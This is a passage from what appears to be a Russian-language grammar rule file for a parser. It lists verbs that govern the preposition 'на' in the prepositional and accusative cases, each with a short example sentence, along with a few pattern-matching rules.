rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
